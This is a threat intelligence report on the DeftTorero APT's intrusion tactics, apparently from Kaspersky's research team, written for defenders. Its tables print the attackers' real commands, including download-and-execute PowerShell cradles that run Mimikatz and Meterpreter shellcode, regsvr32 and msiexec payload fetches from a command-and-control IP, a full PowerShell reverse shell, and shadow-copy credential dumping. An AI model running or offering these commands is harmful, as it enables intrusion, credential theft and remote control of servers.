DeftTorero: tactics, techniques and procedures of intrusions revealed

securelist.com/defttorero-tactics-techniques-and-procedures/107610/

Authors

GReAT

Earlier this year, we started hunting for possible new DeftTorero (aka Lebanese Cedar, Volatile Cedar) artifacts. This threat actor is believed to originate from the Middle East and was publicly disclosed to the cybersecurity community as early as 2015. Notably, no other intelligence was shared until 2021, which led us to speculate on a possible shift by the threat actor to more fileless/LOLBINS techniques, and the use of known/common offensive tools publicly available on the internet that allows them to blend in.

The public reports available to date expose and discuss the final payload – Explosive RAT – and the webshells used in the initial foothold such as Caterpillar and ASPXSpy (you can find webshell MD5 hashes in the IoC section), with little on the tactics, techniques and procedures (TTPs); this post focuses primarily on the TTPs used by the threat actor in intrusions between late 2019 and mid-2021 to compromise victims.

More information about *DeftTorero* is available to customers of Kaspersky Intelligence Reporting.

Contact us: intelreports@kaspersky.com

Initial Access and webshell deployment

During our intrusion analysis of DeftTorero's webshells, such as *Caterpillar*, we noticed traces that infer the threat actor possibly exploited a *file upload form* and/or a *command injection* vulnerability in a functional or staging website hosted on the target web server. This assumption is based on the fact that the uploaded webshells always drop in the same web folder, and in some cases get assigned a name containing a GUID followed by the original webshell filename.

In other instances, we noticed traces pointing to a possible exploitation of IIS PHP plugins pre-installed by the server admins. And finally, in some other instances, we suspect the operators gained server credentials from other systems in the same organization and logged in using a remote desktop (MSTSC.exe) to deploy the webshell.

Once the threat actor succeeds in identifying a method to upload a webshell, they attempt to drop several webshell types and families, most of which are blocked by the AV engine. We suspect that almost all the webshells dropped (including ASPXSpy, devilzshell, etc.) originate from a GitHub account, and are either used as is or are slightly modified.

Discovery

Upon successful installation of the webshell, the operators run multiple commands to gain situational awareness from the exploited system. This includes testing network connectivity by pinging Google.com, listing current folders, identifying the current user privileges, enumerating local system users, and listing websites hosted by the compromised server. The operators also attempt to assess if the web server is joined and/or trusted by any domain. At a later stage, this will prove useful as it will inform them on the next course of actions for dumping local or domain credentials.

Command	Purpose
cmd.exe /c whoami	Identify user privileges
cmd.exe /c appcmd list site	List the hosted websites on the web server
cmd.exe /c nltest /domain_trusts	List domain controllers and enumerate domain trusts
cmd.exe /c dir	List current directories and files

cmd.exe /c net view	Display a list of domains, computers, or resources that are being shared by the specified computer
cmd.exe /c set	Display the current environment variable settings
cmd.exe /c systeminfo	Display system profile and installed hotfixes
cmd.exe /c ipconfig -displaydns	Display DNS resolver cache
cmd.exe /c ipconfig -all	Display network configuration on all network interfaces
cmd.exe /c net user	Display local users
cmd.exe /c net user /domain	Display domain users
cmd.exe /c net use	Display mapped drives to local system
cmd.exe /c openfiles	Display files opened remotely

Table. 1 Operator commands executed through webshell

After gaining situational awareness, the operators attempt to load/invoke a number of tools to dump local and domain credentials. In some cases, the threat actor attempts to install *Nmap* and *Advanced Port Scanner,* possibly to scan internal systems.

Dumping credentials

Credential dumping methods differed from one case to another. In some instances, *Lazagne.exe* was used, in others Mimikatz variants were used either by executing the respective PE binary or by invoking a base64-encoded PowerShell version from a GitHub project. In a smaller number of instances, possibly due to AV detection, the operators dumped the LSASS.exe process to disk, most probably to process it offline for credential dumping.

Command	Comment
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-SECURITY/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command privilege::debug; Invoke-Mimikatz -DumpCreds;	Decoded base64 command issued through webshell to invoke Mimikatz to dump passwords

IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/putterpanda/mimikittenz/master/Invoke-mimikittenz.ps1’); Invoke-mimikittenz	Decoded base64 command issued through webshell to invoke Mimikittenz to dump passwords

Table. 2 Operators invoking Mimikatz variants

Once credentials are obtained, it is believed the operators use Remote Desktop Protocol to pivot into internal systems, or reachable systems that are likely using the stolen credentials (e.g., trusted partners). This is also reinforced by timeline analysis where the threat actor deployed a webshell at another web server in the same network without exploiting a file upload form/vulnerability.

The many ways to achieve Execution

Further commands were executed to bypass the AV engine and establish a Meterpreter session with the operators’ C2 server. After a Meterpreter session is established, the operators attempt to again invoke Mimikatz variants to gain system and/or domain credentials. It’s worth mentioning that in older intrusions, the threat actor deployed Explosive RAT instead of using Meterpreter.

Command	Comment
cmd.exe /c “regsvr32 /s /n /u /i:http://200.159.87[.]196:3306/jsJ13j.sct scrobj.dll 2>&1	Alternative methods to achieve command execution while bypassing security controls using LOLBINs such as REGSVR32 and MSIEXEC
cmd.exe /c “powershell -command “regsvr32 /s /n /u /i:http://200.159.87[.]196:3306/jsJ13j.sct scrobj.dll” 2>&1	
cmd.exe /c “powershell.exe -executionpolicy bypass -w hidden “iex(New-Object System.Net.WebClient).DownloadString(‘http://200.159.87[.]196/made.ps1’) ; made.ps1” 2>&1	

cmd.exe /c “powershell.exe -c “(New-Object System.NET.WebClient).DownloadFile(‘http://200.159.87[.]196/av.vbs’,\”$env:temp\av.vbs\”);Start-Process %windir%\system32\cscript.exe \”$env:temp\av.vbs\”” 2>&1	
cmd.exe /c “powershell.exe -executionpolicy bypass -w hidden “iex(New-Object System.Net.WebClient).DownloadString(‘http://<*internal_IP_address*>:8000/made.ps1′); made.ps1″ 2>&1	
cmd.exe /c “powershell -nop -c “$client = New-Object System.Net.Sockets.TCPClient(‘200.159.87[.]196’,3306);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object –TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 \| Out-String);$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0, $sendbyte.Length);$stream.Flush()};$client.Close()” 2>&1	
cmd.exe /c “msiexec /q /i http://200.159.87[.]196/1.msi 2>&1	
cmd.exe /c “Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent[.]com/cheetz/PowerSploit/master/CodeExecution/Invoke–Shellcode.ps1’); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 200.159.87[.]196 -Lport 3306 -Force 2>&1	PowerShell command to invoke a Meterpreter session

Table. 3 Operator commands to establish further presence on other servers in the same network

Credentials: the more, the better

While the same credential dumping strategy has been used by the operators in most intrusions, there were some instances where few modifications were seen. For example, the operators used the VSSADMIN system tool to create a shadow copy snapshot on the targeted server in an attempt to dump domain credentials, a technique also used in pentesting and red team engagement.

Command	Comment
CMD /C vssadmin create shadow /for=E:	Create a volume shadow copy to collect SAM and SYSTEM registry hives from local system, or NTDS.DIT and SYSTEM hives if on a domain controller

CMD /C vssadmin list shadows /for=E:>	Test if the above command worked

Table. 4 Creating a shadow copy

Defense Evasion: Explosive RAT modifications

We've barely seen Explosive RAT since 2019. However, it's worth mentioning the tricks the author used in the versions that we know of. While the functionality of the malware didn't change that much over time, the author made an effort to ensure its files wouldn't be detected using publicly available signatures. The changes introduced were minimal but sufficient. The table below illustrates some changes made by the malware author. It is also noticeable that some strings mentioned in previous Yara rules disappeared from the newer version.

New Pattern	Old Pattern	Pattern Description
DOD	DLD	Delimiter used for malware configuration variables
Mozilla/5.0 (Windows NT 6.0; WOW64; rv:32.0) Gecko/20200101 Firefox/32.0	Mozilla/4.0 (compatible; MSIE 7.0; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727)	User Agent for HTTP Communication

Table. 5 Pattern changes in the newer Explosive RAT campaign

A second noticeable change made to evade defense was introduced to the function names exported by the DLL component of Explosive RAT. Below is a list of changes in the export table.

New Function Name	Old Function Name
AllDataGet	GetAllData
HistoryGetIE	GetIEHistory
TOCN	CON
FnClipOpen	OpenClipFn
HoKSetWin	SetWinHoK
appregister	Registerapp

ProcessPath	PathProcess

Table. 6 New function names compared to the old ones used in the 2015 campaign

Victims

Based on our telemetry, the indicators of the intrusions we assessed between late 2019 and mid-2021 are similar to the usual DeftTorero victimology, with a clear focus on Middle Eastern countries such as Egypt, Jordan, Kuwait, Lebanon, Saudi Arabia, Turkey and the United Arab Emirates.

The targeted web servers occasionally host multiple websites belonging to different industry verticals such as Corporate, Education, Government, Military, Media, and Telcos. This presents the threat actor with the opportunity to pivot to other victims of interest.

Conclusions

In this post, we described the potential tactics, techniques and procedures identified in previous DeftTorero intrusions that were largely missing from public reports. As our telemetry and public reports did not identify any new Explosive RAT detections after 2020, but only old slightly modified toolsets (e.g., Explosive RAT, webshells, etc.), the historical intrusions analysis we conducted suggest a potential TTP shift by the threat actor to more fileless/LOLBINS techniques, and the use of known/common offensive tools available on the internet. This TTP shift could explain the detection gap in previous years because using fileless techniques and public tools allows the operators to blend in with other threat activities.

There are two recommended defensive measures to combat such intrusions, aside from assessing web vulnerabilities, namely, monitoring web server file integrity and occasionally scanning web server backups; we have noticed that some of the threat actor post-exploitation tools were actually inside website backups, and continued to exist after the initial intrusion. If the backups were restored at a later stage, the threat actor could regain persistent access and continue where they left off.

If you want to learn more about *DeftTorero* activity and defense against this group, contact the Kaspersky Intelligence Reporting service at intelreports@kaspersky.com.

Indicators of Compromise

Note: *We provide an incomplete list of IoCs here that are valid at the time of publication. A full IoC list is available in our private report.*

File hashes

53EE31C009E96D4B079EBE3267D0AE8E	Explosive RAT EXE
54EBC45137BA5B9F5ECE35CA40267100	Explosive RAT EXE
A955B45E14D082F71E01EBC52CF13DB8	Explosive RAT EXE
E952EC767D872EA08D8555CBC162F3DC	Explosive RAT EXE
ED50613683B5A4196E0D5FD2687C56DA	Explosive RAT EXE
0a45de1cdf39e0ad67f5d88c730b433a	cmd.aspx (basic ASPX webshell)
0d6bc7b184f9e1908d4d3fe0a7038a1e	c.aspx/conn.aspx (Tunna webshell)
c87a206a9c9846a2d1c3537d459ec03a	the.aspx (ASPX webshell)
02BCD71A4D7C3A366EFF733F92702B81	devel.aspx (Devel webshell)
D6A82B866F7F9E1E01BF89C3DA106D9D	Banner.aspx (reGeorg webshell)
C59870690803D976014C7C8B58659DDF	03831a5291724ef2060127f19206eiab.aspx (webshell)
1ED9169BED85EFB1FD5F8D50333252D8	aram.aspx (Caterpillar webshell)
2D804386DE4073BAD642DFC816876D08	Pavos.aspx (Caterpillar webshell)
523AA999B9270B382968E5C24AB6F9EB	Report_21.jpg (ASPX webshell)
45d854e66631e5c1cda6dbf4fea074ce	aspxspy2014final.aspx (ASPXSpy webshell)
Bb767354ee886f69b4ab4f9b4ac6b660	sec4ever.aspx (Sec4ever webshell)
0152de452f92423829e041af2d783e3f	editor.aspx (basic ASPX webshell)
7981f1bf9b8e5f4691e4ac440f1ba251	devilzshell.aspx (devilzshell webshell)
4b646e7958e1bb00924b8e6598fe6670	nightrunner.aspx (Nightrunner webshell)
D608163a972f43cc9f53705ed6d31089	mini.php (PHP webshell)

Post exploitation

7567F938EE1074CD3932FDB01088CA35	Netcat (filenames seen: 50.exe, 04.exe, putty.exe)
566b4858b29cfa48cd5584bebfc7546b	mim.ps1 (Mimikatz)
BD876B57F8BE84FF5D95C899DE34C0EE	Invoke-DCSync.ps1.txt

F575D4BB1F5FF6C54B2DE99E9BC40C75	Aaa.txt/.ps1 (Mimikatz)
238A4EFE51A9340511788D2752ACA8D6	DomainPasswordSpray.ps1
550BD7C330795A766C9DFB1586F3CC53	Copy-VSS.ps1
68D3BF2C363144EC6874AB360FDDA00A	lazagne.exe
3437E3E59FDA82CDB09EAB711BA7389D	mimilove.exe

- APT
- Credentials theft
- DeftTorero
- Malware
- Malware Technologies
- Targeted attacks
- Vulnerabilities

Authors

GReAT

DeftTorero: tactics, techniques and procedures of intrusions revealed

Your email address will not be published. Required fields are marked *